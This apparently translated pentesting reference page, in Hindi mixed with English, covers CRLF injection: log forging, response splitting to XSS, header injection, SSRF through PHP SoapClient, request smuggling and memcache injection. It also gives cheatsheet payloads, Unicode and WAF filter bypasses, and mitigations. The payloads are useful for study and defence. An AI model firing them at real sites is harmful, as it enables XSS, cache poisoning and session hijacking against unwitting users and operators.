CRLF (%0D%0A) Injection

CRLF

कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।

CRLF Injection Vulnerability

CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से यह समझाने के लिए प्रेरित करती है कि सम्मिलित अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं हैं, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।

Example: CRLF Injection in a Log File

Example from here

एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में है और जिसका प्रारूप है: IP - Time - Visited Path। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है:

123.123.123.123 - 08:15 - /index.php?page=home

एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्ट की गई अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकती है:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

यहाँ, %0d और %0a CR और LF के URL-कोडित रूपों का प्रतिनिधित्व करते हैं। हमले के बाद, लॉग भ्रामक रूप से प्रदर्शित करेगा:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को, जो %0d%0a से शुरू होता है, एकल पैरामीटर के रूप में व्याख्यायित करता है, जबकि restrictedaction पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

विवरण

HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है एक विशिष्ट वर्ण अनुक्रम का उपयोग करके, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS)।

HTTP Response Splitting के माध्यम से XSS

1. एप्लिकेशन एक कस्टम हेडर सेट करता है जैसे: X-Custom-Header: UserInput
2. एप्लिकेशन UserInput के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है।
3. एक हमलावर एक विशेष रूप से तैयार की गई 'user_input' के साथ एक URL तैयार करता है: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• इस URL में, %0d%0a%0d%0a CRLFCRLF का URL-कोडित रूप है। यह सर्वर को CRLF अनुक्रम डालने के लिए धोखा देता है, जिससे सर्वर बाद के भाग को प्रतिक्रिया शरीर के रूप में मानता है।

4. सर्वर हमलावर के इनपुट को प्रतिक्रिया हेडर में दर्शाता है, जिससे एक अनपेक्षित प्रतिक्रिया संरचना उत्पन्न होती है जहां दुर्भावनापूर्ण स्क्रिप्ट को ब्राउज़र द्वारा प्रतिक्रिया शरीर के भाग के रूप में व्याख्यायित किया जाता है।

HTTP Response Splitting का एक उदाहरण जो रीडायरेक्ट की ओर ले जाता है

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

और सर्वर हेडर के साथ प्रतिक्रिया करता है:

Location: http://myweb.com

अन्य उदाहरण: (से https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL पथ में

आप URL पथ के अंदर पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके (उदाहरण यहां):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{{#ref}} https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md {{#endref}}

HTTP Header Injection

HTTP Header Injection, जिसे अक्सर CRLF (Carriage Return and Line Feed) इंजेक्शन के माध्यम से शोषित किया जाता है, हमलावरों को HTTP हेडर डालने की अनुमति देता है। यह सुरक्षा तंत्रों जैसे XSS (Cross-Site Scripting) फ़िल्टर या SOP (Same-Origin Policy) को कमजोर कर सकता है, जिससे संवेदनशील डेटा, जैसे CSRF टोकन, तक अनधिकृत पहुंच या कुकी प्लांटिंग के माध्यम से उपयोगकर्ता सत्रों में हेरफेर हो सकता है।

HTTP Header Injection के माध्यम से CORS का शोषण

एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, जिससे संरक्षित डेटा तक पहुंच संभव हो जाती है।

CRLF के माध्यम से SSRF और HTTP Request Injection

CRLF इंजेक्शन का उपयोग एक पूरी तरह से नई HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के SoapClient क्लास में है, विशेष रूप से user_agent पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध इंजेक्ट कर सकता है। नीचे एक PHP उदाहरण है जो इस शोषण को प्रदर्शित करता है:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए मूल स्रोत देखें.

आप आवश्यक हेडर इंजेक्ट कर सकते हैं ताकि बैक-एंड कनेक्शन को खुला रखे प्रारंभिक अनुरोध का उत्तर देने के बाद:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य आमतौर पर HTTP request smuggling से संबंधित होता है, एक तकनीक जहां सर्वर द्वारा इंजेक्शन के बाद जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं।

शोषण:

1. दुष्ट प्रीफिक्स इंजेक्शन: इस विधि में अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुष्ट प्रीफिक्स निर्दिष्ट करके ज़हर देना शामिल है। इसका एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के बेकार के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache इंजेक्शन

Memcache एक की-वैल्यू स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है। अधिक जानकारी के लिए:

{{#ref}} ../network-services-pentesting/11211-memcache/ {{#endref}}

पूर्ण जानकारी के लिए पढ़ें मूल लेख

यदि एक प्लेटफ़ॉर्म HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए एक memcache सर्वर पर अनुरोध करने के लिए उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके नए memcache आदेशों को इंजेक्ट कर सकता है।

उदाहरण के लिए, मूल खोजे गए कमजोरियों में, कैश कुंजी का उपयोग उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने memcache आदेशों को इंजेक्ट करने में सक्षम थे जो कैश को ज़हर देते थे ताकि पीड़ितों के विवरण (उपयोगकर्ता नाम और पासवर्ड शामिल) हमलावर सर्वरों को भेजे जा सकें:

इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रिय कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता था:

वेब अनुप्रयोगों में CRLF / HTTP हेडर इंजेक्शन को रोकने के लिए

वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इंजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:

1. प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट से बचें: सबसे सुरक्षित दृष्टिकोण यह है कि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सीधे प्रतिक्रिया हेडर में शामिल करने से बचें।
2. विशेष वर्णों को एन्कोड करें: यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इंजेक्शन की संभावना को रोकती है।
3. प्रोग्रामिंग भाषा को अपडेट करें: अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इंजेक्शन की अनुमति नहीं देता है।

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

हाल की कमजोरियाँ (2023 – 2025)

पिछले कुछ वर्षों में व्यापक रूप से उपयोग किए जाने वाले सर्वर- और क्लाइंट-साइड घटकों में कई उच्च-प्रभाव वाले CRLF/HTTP हेडर-इंजेक्शन बग उत्पन्न हुए हैं। इन्हें स्थानीय रूप से पुन: उत्पन्न करना और अध्ययन करना वास्तविक दुनिया के शोषण पैटर्न को समझने का एक उत्कृष्ट तरीका है।

ये बग महत्वपूर्ण हैं क्योंकि ये ऐप्लिकेशन-स्तरीय कोड के अंदर सक्रिय होते हैं और केवल वेब-सरवर के किनारे पर नहीं। इसलिए, किसी भी आंतरिक घटक को जो HTTP अनुरोध करता है या प्रतिक्रिया हेडर सेट करता है, CR/LF फ़िल्टरिंग को लागू करना चाहिए।

उन्नत यूनिकोड / नियंत्रण-चर बायपास

आधुनिक WAF/रीराइटर स्टैक्स अक्सर शाब्दिक \r/\n को हटा देते हैं लेकिन अन्य वर्णों के बारे में भूल जाते हैं जिन्हें कई बैक-एंड लाइन टर्मिनेटर के रूप में मानते हैं। जब CRLF को फ़िल्टर किया जाता है, तो प्रयास करें:

• %E2%80%A8 (U+2028 – लाइन सेपरेटर)
• %E2%80%A9 (U+2029 – पैरा सेपरेटर)
• %C2%85 (U+0085 – अगली लाइन)

कुछ Java, Python और Go फ्रेमवर्क इनको हेडर पार्सिंग के दौरान \n में परिवर्तित करते हैं (2023 प्रेटोरियन अनुसंधान देखें)। इन्हें क्लासिक पेलोड्स के साथ मिलाएं:

/%0A%E2%80%A8Set-Cookie:%20admin=true

यदि फ़िल्टर पहले UTF-8 को सामान्य करता है, तो नियंत्रण वर्ण एक नियमित लाइन-फीड में बदल जाता है और इंजेक्ट किया गया हेडर स्वीकार कर लिया जाता है।

WAF Evasion via Duplicate Content-Encoding Trick (2023)

Praetorian शोधकर्ताओं ने यह भी दिखाया कि इंजेक्ट करके:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because Content-Encoding: identity is allowed by RFC 9110, many reverse-proxies forward it unchanged.

Automatic Tools

• CRLFsuite – तेज सक्रिय स्कैनर जो Go में लिखा गया है।
• crlfuzz – शब्दसूची-आधारित फज़्ज़र जो यूनिकोड नई पंक्ति पेलोड का समर्थन करता है।
• crlfix – 2024 उपयोगिता जो Go प्रोग्राम द्वारा उत्पन्न HTTP अनुरोधों को पैच करती है और आंतरिक सेवाओं का परीक्षण करने के लिए स्वतंत्र रूप से उपयोग की जा सकती है।

Brute-Force Detection List

• carlospolop/Auto_Wordlists – crlf.txt

References

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/